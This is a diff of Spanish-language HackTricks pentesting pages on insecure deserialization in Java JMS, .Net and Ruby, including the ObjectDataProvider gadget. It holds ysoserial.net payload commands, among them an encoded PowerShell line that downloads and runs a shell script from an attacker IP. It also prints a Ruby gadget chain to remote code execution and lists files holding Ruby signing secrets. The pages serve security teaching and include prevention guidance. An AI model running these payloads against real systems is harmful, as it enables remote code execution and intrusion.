{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
|
||||
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||
|
|
@ -574,69 +593,69 @@ Encuentra qué es **Inyección JNDI, cómo abusar de ella a través de RMI, CORB
|
|||
|
||||
## JMS - Servicio de Mensajes Java
|
||||
|
||||
> La API del **Servicio de Mensajes Java** (**JMS**) es una API de middleware orientada a mensajes de Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema productor-consumidor. JMS es parte de la Plataforma Java, Enterprise Edition (Java EE), y fue definida por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de la Comunidad Java. Es un estándar de mensajería que permite a los componentes de aplicaciones basados en Java EE crear, enviar, recibir y leer mensajes. Permite la comunicación entre diferentes componentes de una aplicación distribuida de manera desacoplada, confiable y asíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||||
> El **Servicio de Mensajes Java** (**JMS**) API es una API de middleware orientada a mensajes en Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema productor-consumidor. JMS es parte de la Plataforma Java, Edición Empresarial (Java EE), y fue definido por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de Comunidad Java. Es un estándar de mensajería que permite a los componentes de aplicaciones basadas en Java EE crear, enviar, recibir y leer mensajes. Permite que la comunicación entre diferentes componentes de una aplicación distribuida sea desacoplada, confiable y asincrónica. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||||
|
||||
### Productos
|
||||
|
||||
Hay varios productos que utilizan este middleware para enviar mensajes:
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### Explotación
|
||||
|
||||
Entonces, básicamente hay **un montón de servicios que usan JMS de manera peligrosa**. Por lo tanto, si tienes **suficientes privilegios** para enviar mensajes a estos servicios (usualmente necesitarás credenciales válidas) podrías ser capaz de enviar **objetos maliciosos serializados que serán deserializados por el consumidor/suscriptor**.\
|
||||
Esto significa que en esta explotación todos los **clientes que van a usar ese mensaje se infectarán**.
|
||||
Básicamente, hay **varios servicios que utilizan JMS de manera peligrosa**. Por lo tanto, si tienes **suficientes privilegios** para enviar mensajes a estos servicios (generalmente necesitarás credenciales válidas), podrías ser capaz de enviar **objetos maliciosos serializados que serán deserializados por el consumidor/suscriptor**.\
|
||||
Esto significa que en esta explotación, todos los **clientes que vayan a utilizar ese mensaje se infectarán**.
|
||||
|
||||
Debes recordar que incluso si un servicio es vulnerable (porque está deserializando inseguramente la entrada del usuario) todavía necesitas encontrar gadgets válidos para explotar la vulnerabilidad.
|
||||
Debes recordar que incluso si un servicio es vulnerable (porque deserializa de manera insegura la entrada del usuario), aún necesitas encontrar gadgets válidos para explotar la vulnerabilidad.
|
||||
|
||||
La herramienta [JMET](https://github.com/matthiaskaiser/jmet) fue creada para **conectar y atacar estos servicios enviando varios objetos maliciosos serializados usando gadgets conocidos**. Estos exploits funcionarán si el servicio sigue siendo vulnerable y si alguno de los gadgets utilizados está dentro de la aplicación vulnerable.
|
||||
La herramienta [JMET](https://github.com/matthiaskaiser/jmet) fue creada para **conectar y atacar estos servicios enviando varios objetos maliciosos serializados utilizando gadgets conocidos**. Estos exploits funcionarán si el servicio sigue siendo vulnerable y si alguno de los gadgets utilizados está dentro de la aplicación vulnerable.
|
||||
|
||||
### Referencias
|
||||
|
||||
* Charla sobre JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
* Charla de JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
* Diapositivas: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
|
||||
## .Net
|
||||
|
||||
.Net es similar a Java en cuanto a cómo funcionan los exploits de deserialización: El **exploit** **abusará de gadgets** que **ejecutan** algún **código interesante cuando** un objeto es **deserializado**.
|
||||
En el contexto de .Net, los exploits de deserialización operan de manera similar a los encontrados en Java, donde los gadgets son explotados para ejecutar código específico durante la deserialización de un objeto.
|
||||
|
||||
### Huella Digital
|
||||
### Fingerprint
|
||||
|
||||
#### WhiteBox
|
||||
|
||||
Busca en el código fuente los siguientes términos:
|
||||
El código fuente debe ser inspeccionado en busca de ocurrencias de:
|
||||
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
Busca cualquier serializador donde el tipo esté establecido por una variable controlada por el usuario.
|
||||
El enfoque debe estar en los serializadores que permiten que el tipo sea determinado por una variable bajo control del usuario.
|
||||
|
||||
#### BlackBox
|
||||
|
||||
Puedes buscar la cadena codificada en Base64 **AAEAAAD/////** o cualquier otra cosa que **pueda ser deserializada** en el back-end y que te permita controlar el tipo deserializado\*\*.\*\* Por ejemplo, un **JSON** o **XML** que contenga `TypeObject` o `$type`.
|
||||
La búsqueda debe apuntar a la cadena codificada en Base64 **AAEAAAD/////** o cualquier patrón similar que pueda ser deserializado en el lado del servidor, otorgando control sobre el tipo a ser deserializado. Esto podría incluir, pero no se limita a, estructuras **JSON** o **XML** que presenten `TypeObject` o `$type`.
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
En este caso puedes usar la herramienta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **crear los exploits de deserialización**. Una vez descargado el repositorio de git, debes **compilar la herramienta** usando Visual Studio, por ejemplo.
|
||||
En este caso, puedes usar la herramienta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **crear los exploits de deserialización**. Una vez descargado el repositorio de git, debes **compilar la herramienta** utilizando Visual Studio, por ejemplo.
|
||||
|
||||
Si quieres aprender sobre **cómo ysoserial.net crea sus exploits** puedes [**consultar esta página donde se explica el gadget ObjectDataProvider + ExpandedWrapper + formateador Json.Net**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
Si deseas aprender sobre **cómo ysoserial.net crea su exploit**, puedes [**consultar esta página donde se explica el gadget ObjectDataProvider + ExpandedWrapper + formateador Json.Net**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
|
||||
Las principales opciones de **ysoserial.net** son: **`--gadget`**, **`--formatter`**, \*\*`--output` \*\* y **`--plugin`.**
|
||||
Las principales opciones de **ysoserial.net** son: **`--gadget`**, **`--formatter`**, **`--output`** y **`--plugin`.**
|
||||
|
||||
* **`--gadget`** se utiliza para indicar el gadget a abusar (indicar la clase/función que será abusada durante la deserialización para ejecutar comandos).
|
||||
* **`--formatter`**, se utiliza para indicar el método para serializar el exploit (necesitas saber qué biblioteca está usando el back-end para deserializar el payload y usar la misma para serializarlo)
|
||||
* \*\*`--output` \*\* se utiliza para indicar si quieres el exploit en **raw** o codificado en **base64**. _Nota que **ysoserial.net** codificará el payload usando **UTF-16LE** (codificación usada por defecto en Windows) así que si obtienes el raw y simplemente lo codificas desde una consola de Linux podrías tener algunos **problemas de compatibilidad de codificación** que impedirán que el exploit funcione correctamente (en la caja JSON de HTB el payload funcionó tanto en UTF-16LE como en ASCII pero esto no significa que siempre funcionará)._
|
||||
* \*\*`--plugin` \*\* ysoserial.net soporta plugins para crear **exploits para frameworks específicos** como ViewState
|
||||
* **`--formatter`**, se utiliza para indicar el método para serializar el exploit (necesitas saber qué biblioteca está utilizando el back-end para deserializar la carga útil y usar la misma para serializarla).
|
||||
* **`--output`** se utiliza para indicar si deseas el exploit en formato **raw** o codificado en **base64**. _Ten en cuenta que **ysoserial.net** codificará la carga útil usando **UTF-16LE** (codificación utilizada de forma predeterminada en Windows), por lo que si obtienes el raw y simplemente lo codificas desde una consola de Linux, podrías tener algunos **problemas de compatibilidad de codificación** que impedirán que el exploit funcione correctamente (en la caja JSON de HTB, la carga útil funcionó tanto en UTF-16LE como en ASCII, pero esto no significa que siempre funcionará)._
|
||||
* **`--plugin`** ysoserial.net admite plugins para crear **exploits para frameworks específicos** como ViewState
|
||||
|
||||
#### Más parámetros de ysoserial.net
|
||||
|
||||
* `--minify` proporcionará un **payload más pequeño** (si es posible)
|
||||
* `--raf -f Json.Net -c "cualquier cosa"` Esto indicará todos los gadgets que se pueden usar con un formateador proporcionado (`Json.Net` en este caso)
|
||||
* `--minify` proporcionará una **carga útil más pequeña** (si es posible)
|
||||
* `--raf -f Json.Net -c "anything"` Esto indicará todos los gadgets que se pueden usar con un formateador proporcionado (`Json.Net` en este caso)
|
||||
* `--sf xml` puedes **indicar un gadget** (`-g`) y ysoserial.net buscará formateadores que contengan "xml" (insensible a mayúsculas y minúsculas)
|
||||
|
||||
**Ejemplos de ysoserial** para crear exploits:
|
||||
Ejemplos de **ysoserial** para crear exploits:
|
||||
```bash
|
||||
#Send ping
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||
|
|
@ -654,9 +673,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
|||
#Create exploit using the created B64 shellcode
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** también tiene un **parámetro muy interesante** que ayuda a entender mejor cómo funciona cada exploit: `--test`\
|
||||
Si indicas este parámetro, **ysoserial.net** **intentará** el **exploit localmente,** para que puedas probar si tu payload funcionará correctamente.\
|
||||
Este parámetro es útil porque si revisas el código encontrarás fragmentos de código como el siguiente (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
**ysoserial.net** también tiene un **parámetro muy interesante** que ayuda a comprender mejor cómo funciona cada exploit: `--test`. Si indicas este parámetro, **ysoserial.net** intentará el **exploit localmente**, para que puedas probar si tu carga útil funcionará correctamente. Este parámetro es útil porque si revisas el código, encontrarás fragmentos de código como el siguiente (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
{
|
||||
|
|
@ -670,7 +687,7 @@ Debugging.ShowErrors(inputArgs, err);
|
|||
}
|
||||
}
|
||||
```
|
||||
Esto significa que para probar el exploit, el código llamará a [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||||
Esto significa que para probar el exploit, el código llamará a [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||||
```java
|
||||
public static object JsonNet_deserialize(string str)
|
||||
{
|
||||
|
|
@ -681,77 +698,61 @@ TypeNameHandling = TypeNameHandling.Auto
|
|||
return obj;
|
||||
}
|
||||
```
|
||||
En el **código anterior es vulnerable al exploit creado**. Por lo tanto, si encuentras algo similar en una aplicación .Net, significa que probablemente esa aplicación también sea vulnerable.
|
||||
Por lo tanto, el parámetro **`--test`** nos permite entender **qué partes del código son vulnerables** al exploit de deserialización que **ysoserial.net** puede crear.
|
||||
En el **código anterior es vulnerable al exploit creado**. Por lo tanto, si encuentras algo similar en una aplicación .Net, probablemente esa aplicación también sea vulnerable.
|
||||
|
||||
Por lo tanto, el parámetro **`--test`** nos permite entender **qué fragmentos de código son vulnerables** al exploit de deserialización que puede crear **ysoserial.net**.
|
||||
|
||||
### ViewState
|
||||
|
||||
Echa un vistazo a [este POST sobre **cómo intentar explotar el parámetro \_\_ViewState de .Net**](exploiting-\_\_viewstate-parameter.md) para **ejecutar código arbitrario.** Si **ya conoces los secretos** utilizados por la máquina víctima, [**lee este post para saber cómo ejecutar código**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
|
||||
Echa un vistazo a [este POST sobre **cómo intentar explotar el parámetro \_\_ViewState de .Net**](exploiting-\_\_viewstate-parameter.md) para **ejecutar código arbitrario**. Si **ya conoces los secretos** utilizados por la máquina víctima, [lee este post para saber cómo ejecutar código](exploiting-\_\_viewstate-knowing-the-secret.md).
|
||||
|
||||
### **Prevención**
|
||||
### Prevención
|
||||
|
||||
No permitas que el flujo de datos defina el tipo de objeto al que se deserializará el flujo. Puedes prevenir esto, por ejemplo, utilizando `DataContractSerializer` o `XmlSerializer` si es posible.
|
||||
Para mitigar los riesgos asociados con la deserialización en .Net:
|
||||
|
||||
Donde se utilice `JSON.Net`, asegúrate de que el `TypeNameHandling` esté configurado solo en `None`.
|
||||
```
|
||||
TypeNameHandling = TypeNameHandling.None
|
||||
```
|
||||
Si se va a utilizar `JavaScriptSerializer`, entonces no lo use con un `JavaScriptTypeResolver`.
|
||||
- **Evita que los flujos de datos definan sus tipos de objetos.** Utiliza `DataContractSerializer` o `XmlSerializer` cuando sea posible.
|
||||
|
||||
Si debe deserializar flujos de datos que definen su propio tipo, entonces restrinja los tipos que se permiten deserializar. Se debe tener en cuenta que esto sigue siendo arriesgado ya que muchos tipos nativos de .Net son potencialmente peligrosos en sí mismos. Por ejemplo:
|
||||
```
|
||||
System.IO.FileInfo
|
||||
```
|
||||
Los objetos `FileInfo` que hacen referencia a archivos realmente presentes en el servidor pueden, al deserializarse, cambiar las propiedades de esos archivos, por ejemplo, a solo lectura, creando un posible ataque de denegación de servicio.
|
||||
- **Para `JSON.Net`, establece `TypeNameHandling` en `None`:**
|
||||
%%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
|
||||
Incluso si has limitado los tipos que pueden ser deserializados, recuerda que algunos tipos tienen propiedades que son riesgosas. `System.ComponentModel.DataAnnotations.ValidationException`, por ejemplo, tiene una propiedad `Value` de tipo `Object`. Si este tipo es el tipo permitido para la deserialización, entonces un atacante puede establecer la propiedad `Value` a cualquier tipo de objeto que elija.
|
||||
- **Evita usar `JavaScriptSerializer` con un `JavaScriptTypeResolver`.**
|
||||
|
||||
Se debe prevenir que los atacantes puedan dirigir el tipo que será instanciado. Si esto es posible, entonces incluso `DataContractSerializer` o `XmlSerializer` pueden ser subvertidos, por ejemplo:
|
||||
```
|
||||
// Action below is dangerous if the attacker can change the data in the database
|
||||
var typename = GetTransactionTypeFromDatabase();
|
||||
- **Limita los tipos que pueden ser deserializados**, comprendiendo los riesgos inherentes con los tipos de .Net, como `System.IO.FileInfo`, que puede modificar las propiedades de los archivos del servidor, lo que potencialmente podría llevar a ataques de denegación de servicio.
|
||||
|
||||
var serializer = new DataContractJsonSerializer(Type.GetType(typename));
|
||||
- **Ten cuidado con los tipos que tienen propiedades riesgosas**, como `System.ComponentModel.DataAnnotations.ValidationException` con su propiedad `Value`, que puede ser explotada.
|
||||
|
||||
var obj = serializer.ReadObject(ms);
|
||||
```
|
||||
La ejecución puede ocurrir dentro de ciertos tipos de .Net durante la deserialización. Crear un control como el que se muestra a continuación es ineficaz.
|
||||
```
|
||||
var suspectObject = myBinaryFormatter.Deserialize(untrustedData);
|
||||
- **Controla de forma segura la instanciación de tipos** para evitar que los atacantes influyan en el proceso de deserialización, lo que hace que incluso `DataContractSerializer` o `XmlSerializer` sean vulnerables.
|
||||
|
||||
//Check below is too late! Execution may have already occurred.
|
||||
if (suspectObject is SomeDangerousObjectType)
|
||||
{
|
||||
//generate warnings and dispose of suspectObject
|
||||
}
|
||||
```
|
||||
Para `BinaryFormatter` y `JSON.Net` es posible crear una forma más segura de control de lista blanca utilizando un `SerializationBinder` personalizado.
|
||||
- **Implementa controles de lista blanca** utilizando un `SerializationBinder` personalizado para `BinaryFormatter` y `JSON.Net`.
|
||||
|
||||
Mantente actualizado sobre los gadgets de deserialización insegura de .Net conocidos y presta especial atención a los tipos que pueden ser creados por tus procesos de deserialización. **Un deserializador solo puede instanciar tipos que conoce**.
|
||||
- **Mantente informado sobre los gadgets de deserialización inseguros conocidos** dentro de .Net y asegúrate de que los deserializadores no instancien tales tipos.
|
||||
|
||||
Intenta mantener cualquier código que pueda crear gadgets potenciales separado de cualquier código que tenga conectividad a internet. Como ejemplo, `System.Windows.Data.ObjectDataProvider` utilizado en aplicaciones WPF es un gadget conocido que permite la invocación arbitraria de métodos. Sería arriesgado tener una referencia a este ensamblado en un proyecto de servicio REST que deserializa datos no confiables.
|
||||
- **Aísla el código potencialmente riesgoso** del código con acceso a Internet para evitar exponer gadgets conocidos, como `System.Windows.Data.ObjectDataProvider` en aplicaciones WPF, a fuentes de datos no confiables.
|
||||
|
||||
### **Referencias**
|
||||
|
||||
* Java y .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* Documento sobre deserialización JSON en Java y .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
|
||||
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
|
||||
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||
|
||||
## **Ruby**
|
||||
|
||||
Ruby tiene dos métodos para implementar la serialización dentro de la biblioteca **marshal**: el primer método es **dump** que convierte el objeto en flujos de bytes **(serializar)**. Y el segundo método es **load** para convertir flujos de bytes en objeto de nuevo (**deserializar**).\
|
||||
Ruby utiliza HMAC para firmar el objeto serializado y guarda la clave en uno de los siguientes archivos:
|
||||
En Ruby, la serialización se facilita mediante dos métodos dentro de la biblioteca **marshal**. El primer método, conocido como **dump**, se utiliza para transformar un objeto en un flujo de bytes. Este proceso se conoce como serialización. Por otro lado, el segundo método, **load**, se emplea para revertir un flujo de bytes a un objeto, un proceso conocido como deserialización.
|
||||
|
||||
* config/environment.rb
|
||||
* config/initializers/secret\_token.rb
|
||||
* config/secrets.yml
|
||||
* /proc/self/environ
|
||||
Para asegurar objetos serializados, **Ruby emplea HMAC (Código de Autenticación de Mensajes Basado en Hash)**, garantizando la integridad y autenticidad de los datos. La clave utilizada para este propósito se almacena en una de varias ubicaciones posibles:
|
||||
|
||||
Cadena de gadgets de deserialización genérica de Ruby 2.X a RCE (más información en [https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/)):
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
- `config/secrets.yml`
|
||||
- `/proc/self/environ`
|
||||
|
||||
**Cadena de gadgets de deserialización genérica a RCE de Ruby 2.X (más información en [https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/))**:
|
||||
```ruby
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
# Code from https://www.elttam.com/blog/ruby-deserialization/
|
||||
|
||||
class Gem::StubSpecification
|
||||
def initialize; end
|
||||
end
|
||||
|
|
@ -817,18 +818,4 @@ require "base64"
|
|||
puts "Payload (Base64 encoded):"
|
||||
puts Base64.encode64(payload)
|
||||
```
|
||||
Otra cadena RCE para explotar Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
Otra cadena de RCE para explotar Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
|
|
|
|||
|
|
@ -1,30 +1,30 @@
|
|||
# Deserialización básica de .Net (gadget ObjectDataProvider, ExpandedWrapper y Json.Net)
|
||||
# Deserialización básica en .Net (gadget ObjectDataProvider, ExpandedWrapper y Json.Net)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
Este post está dedicado a **entender cómo se explota el gadget ObjectDataProvider** para obtener RCE y **cómo se pueden abusar** las bibliotecas de serialización **Json.Net y xmlSerializer** con ese gadget.
|
||||
Este post está dedicado a **comprender cómo se explota el gadget ObjectDataProvider** para obtener RCE y **cómo** las bibliotecas de serialización **Json.Net y xmlSerializer pueden ser abusadas** con ese gadget.
|
||||
|
||||
## Gadget ObjectDataProvider
|
||||
|
||||
Según la documentación: _la clase ObjectDataProvider envuelve y crea un objeto que se puede utilizar como origen de enlace_.\
|
||||
Sí, es una explicación extraña, así que veamos qué tiene esta clase que es tan interesante: Esta clase permite **envolver un objeto arbitrario**, usar _**MethodParameters**_ para **establecer parámetros arbitrarios**, y luego **usar MethodName para llamar a una función arbitraria** del objeto arbitrario declarado usando los parámetros arbitrarios.\
|
||||
Según la documentación: _la Clase ObjectDataProvider envuelve y crea un objeto que se puede utilizar como origen de enlace_.\
|
||||
Sí, es una explicación extraña, así que veamos qué tiene de interesante esta clase: Esta clase permite **envolver un objeto arbitrario**, usar _**MethodParameters**_ para **establecer parámetros arbitrarios** y luego **usar MethodName para llamar a una función arbitraria** del objeto arbitrario declarado usando los parámetros arbitrarios.\
|
||||
Por lo tanto, el **objeto** arbitrario **ejecutará** una **función** con **parámetros mientras se deserializa.**
|
||||
|
||||
### **¿Cómo es posible?**
|
||||
### **¿Cómo es esto posible?**
|
||||
|
||||
ObjectDataProvider está definido e implementado en el espacio de nombres System.Windows.Data, que se encuentra en **PresentationFramework.dll** (_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF_).
|
||||
El espacio de nombres **System.Windows.Data**, encontrado dentro de **PresentationFramework.dll** en `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, es donde se define e implementa ObjectDataProvider.
|
||||
|
||||
Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) puedes **inspeccionar el código** de la clase que nos interesa. En la imagen a continuación estamos viendo el código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nombre del método**
|
||||
Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) puedes **inspeccionar el código** de la clase que nos interesa. En la siguiente imagen estamos viendo el código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nombre del método**
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -32,46 +32,46 @@ Como se puede observar, cuando se establece `MethodName`, se llama a `base.Refre
|
|||
|
||||
.png>)
|
||||
|
||||
Bien, continuemos viendo qué hace `this.BeginQuery()`. `BeginQuery` es anulado por `ObjectDataProvider` y esto es lo que hace:
|
||||
Continuemos viendo qué hace `this.BeginQuery()`. `BeginQuery` es anulado por `ObjectDataProvider` y esto es lo que hace:
|
||||
|
||||
.png>)
|
||||
|
||||
Ten en cuenta que al final del código se llama a `this.QueryWorke(null)`. Veamos qué ejecuta eso:
|
||||
Observa que al final del código se llama a `this.QueryWorke(null)`. Veamos qué ejecuta eso:
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Ten en cuenta que este no es el código completo de la función `QueryWorker`, pero muestra la parte interesante de ella: El código **llama a `this.InvokeMethodOnInstance(out ex);`** esta es la línea donde se **invoca el método establecido**.
|
||||
Observa que este no es el código completo de la función `QueryWorker` pero muestra la parte interesante: El código **llama a `this.InvokeMethodOnInstance(out ex);`** esta es la línea donde se **invoca el método establecido**.
|
||||
|
||||
Si quieres comprobar que solo con establecer el _**MethodName**_ se ejecutará, puedes ejecutar este código:
|
||||
Si deseas comprobar que al establecer el _**MethodName**_ se ejecutará, puedes ejecutar este código:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace ODPCustomSerialExample
|
||||
{
|
||||
class Program
|
||||
{
|
||||
static void Main(string[] args)
|
||||
{
|
||||
ObjectDataProvider myODP = new ObjectDataProvider();
|
||||
myODP.ObjectType = typeof(Process);
|
||||
myODP.MethodParameters.Add("cmd.exe");
|
||||
myODP.MethodParameters.Add("/c calc.exe");
|
||||
myODP.MethodName = "Start";
|
||||
}
|
||||
}
|
||||
class Program
|
||||
{
|
||||
static void Main(string[] args)
|
||||
{
|
||||
ObjectDataProvider myODP = new ObjectDataProvider();
|
||||
myODP.ObjectType = typeof(Process);
|
||||
myODP.MethodParameters.Add("cmd.exe");
|
||||
myODP.MethodParameters.Add("/c calc.exe");
|
||||
myODP.MethodName = "Start";
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Ten en cuenta que necesitas agregar como referencia _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ para cargar `System.Windows.Data`.
|
